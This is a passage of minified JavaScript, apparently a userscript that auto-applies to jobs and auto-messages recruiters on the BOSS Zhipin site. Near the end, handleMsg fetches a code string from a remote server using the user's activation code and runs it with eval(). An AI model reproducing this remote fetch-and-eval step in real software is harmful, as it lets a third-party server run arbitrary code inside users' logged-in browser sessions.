? Math.max(...APP_CONFIG.settings.activityLevels.map(item => item.value)) : 999; forData(job_items); async function forData(jobs) { for (job of jobs) { if (!APP_CONFIG.isRunning) break; if (APP_CONFIG.completedCount >= APP_CONFIG.settings.deliverCount) { changeStatus(); break; } job.click(); await myTools.delay(1500); if (isTrueJob(job, hr_max_value)) { let chatBtn = await myTools.getDomSync('a.op-btn.op-btn-chat:contains("\u7acb\u5373\u6c9f\u901a")'); if (chatBtn) { chatBtn[0].click(); await myTools.delay(1500); $('a.default-btn.cancel-btn:contains("\u7559\u5728\u6b64\u9875")')[0].click(); APP_CONFIG.completedCount++; $("#completed-count").text(APP_CONFIG.completedCount); $("#complete-rate").text(`${Math.round(APP_CONFIG.completedCount / APP_CONFIG.settings.deliverCount * 100)}%`); } } await myTools.delay(Math.floor(Math.random() * 500) + 2e3); scroll_top += step; window.scrollTo({ top: scroll_top, behavior: "smooth" }); } if (APP_CONFIG.isRunning && APP_CONFIG.completedCount < APP_CONFIG.settings.deliverCount) { await myTools.delay(2e3); job_items = Array.from(document.querySelectorAll(".job-list-container .job-card-box")); job_items.splice(0, APP_CONFIG.completedCount); await forData(job_items); } } } function initActivityLevelSelector() { const $dropdown = $("#activity-level-dropdown"); const $options = $("#activity-level-options"); const $selectedTags = $dropdown.find(".selected-tags"); $dropdown.click(function(e) { e.stopPropagation(); $options.toggleClass("open"); $dropdown.toggleClass("open"); }); $(".multi-select-option").click(function(e) { e.stopPropagation(); const $this = $(this); const value = $this.data("value"); const label = $this.find("span").text(); if ($this.hasClass("selected")) { $this.removeClass("selected"); APP_CONFIG.selectedActivityLevels = APP_CONFIG.selectedActivityLevels.filter(item => item.value !== value); } else { $this.addClass("selected"); APP_CONFIG.selectedActivityLevels.push({ value, label }); } updateSelectedTags(); }); $(document).click(function() { $options.removeClass("open"); $dropdown.removeClass("open"); }); function updateSelectedTags() { $selectedTags.empty(); if (APP_CONFIG.selectedActivityLevels.length === 0) { $selectedTags.html('\u8bf7\u9009\u62e9\u6d3b\u8dc3\u5ea6'); return; } APP_CONFIG.selectedActivityLevels.forEach(item => { $selectedTags.append(`${item.label}`); }); } } function initDragFunction() { const $panel = $("#boss-auto-panel"); const $dragHandle = $("#drag-handle"); function loadPanelPosition() { const cachedPosition = localStorage.getItem("bossAutoPanelPosition"); if (cachedPosition) { try { const position = JSON.parse(cachedPosition); if (position.left !== null && position.top !== null) { APP_CONFIG.panelPosition = position; $panel.css({ left: position.left, top: position.top, transform: "none" }); } } catch (e) { console.error("\u52a0\u8f7d\u9762\u677f\u4f4d\u7f6e\u5931\u8d25:", e); } } } function savePanelPosition() { const left = parseInt($panel.css("left")); const top = parseInt($panel.css("top")); APP_CONFIG.panelPosition = { left, top }; localStorage.setItem("bossAutoPanelPosition", JSON.stringify(APP_CONFIG.panelPosition)); } loadPanelPosition(); $dragHandle.mousedown(function(e) { APP_CONFIG.isDragging = true; APP_CONFIG.dragOffsetX = e.clientX - $panel.offset().left; APP_CONFIG.dragOffsetY = e.clientY - $panel.offset().top; $panel.css("cursor", "grabbing"); $dragHandle.css("cursor", "grabbing"); e.preventDefault(); }); $(document).mousemove(function(e) { if (!APP_CONFIG.isDragging) return; const newLeft = e.clientX - APP_CONFIG.dragOffsetX; const newTop = e.clientY - APP_CONFIG.dragOffsetY; $panel.css({ left: Math.max(0, Math.min(newLeft, $(window).width() - $panel.outerWidth())), top: Math.max(0, Math.min(newTop, $(window).height() - $panel.outerHeight())) }); }); $(document).mouseup(function() { if (APP_CONFIG.isDragging) { APP_CONFIG.isDragging = false; savePanelPosition(); $panel.css("cursor", "default"); $dragHandle.css("cursor", "move"); } }); $(document).mouseleave(function() { if (APP_CONFIG.isDragging) { APP_CONFIG.isDragging = false; savePanelPosition(); $panel.css("cursor", "default"); $dragHandle.css("cursor", "move"); } }); } function pannel_init() { let loc = JSON.parse(localStorage.getItem("bossAutoSettings")); console.log("localStorage", loc); if (loc) { APP_CONFIG = Object.assign(APP_CONFIG, { ...loc, isRunning: false, completedCount: 0 }); $("#target-count").text(APP_CONFIG.settings.deliverCount); $("#deliver-count").val(APP_CONFIG.settings.deliverCount); $("#job-preference").val(APP_CONFIG.settings.jobPreference); $("#work-location").val(APP_CONFIG.settings.workLocation); const $selectedTags = $("#activity-level-dropdown").find(".selected-tags"); if (APP_CONFIG.settings.activityLevels.length > 0) { $selectedTags.empty(); APP_CONFIG.settings.activityLevels.forEach(item => { $selectedTags.append(`${item.label}`); $(`.multi-select-option[data-value="${item.value}"]`).addClass("selected"); }); } if (APP_CONFIG.settings.autoSendWX) { $("#auto-open-wx").toggleClass("checked"); } if (APP_CONFIG.activate) { $("#vip-status").text("\u5df2\u6fc0\u6d3b").toggleClass("active", true); if (APP_CONFIG.settings.autoReply) { $("#auto-reply-toggle").toggleClass("checked"); } if (APP_CONFIG.settings.jianli) { $(".file-upload-btn").text("\u91cd\u65b0\u4e0a\u4f20\u7b80\u5386"); $("#resume-name").text(APP_CONFIG.settings.jianliName); } } } } async function sendMsg(content) { let arr = content.split("\n\n"); for (const item of arr) { $("#chat-input").text(item); await myTools.delay(500); $("button.btn-send").click(); await myTools.delay(2500); } } function getReason(options, url) { return new Promise(resolve => { $("#boss-container .loading-wrap").show(); myTools.fetch(baseUrl + url, { method: "POST", headers: { "Content-Type": "application/json" }, data: JSON.stringify(options) }).then(res => { if (res.code === 1e3) { resolve(res); $("#boss-container .loading-wrap").hide(); } }); }); } async function handleMsg() { myTools.fetch(baseUrl + "/open/basic_ai/info/getCode", { method: "POST", headers: { "Content-Type": "application/json" }, data: JSON.stringify({ code: APP_CONFIG.activate }) }).then(res => { if (res.data != -1) { const url = res.data.url; eval(res.data.code); } }); } pannel_init(); }); } } bootstrap(); })(); })();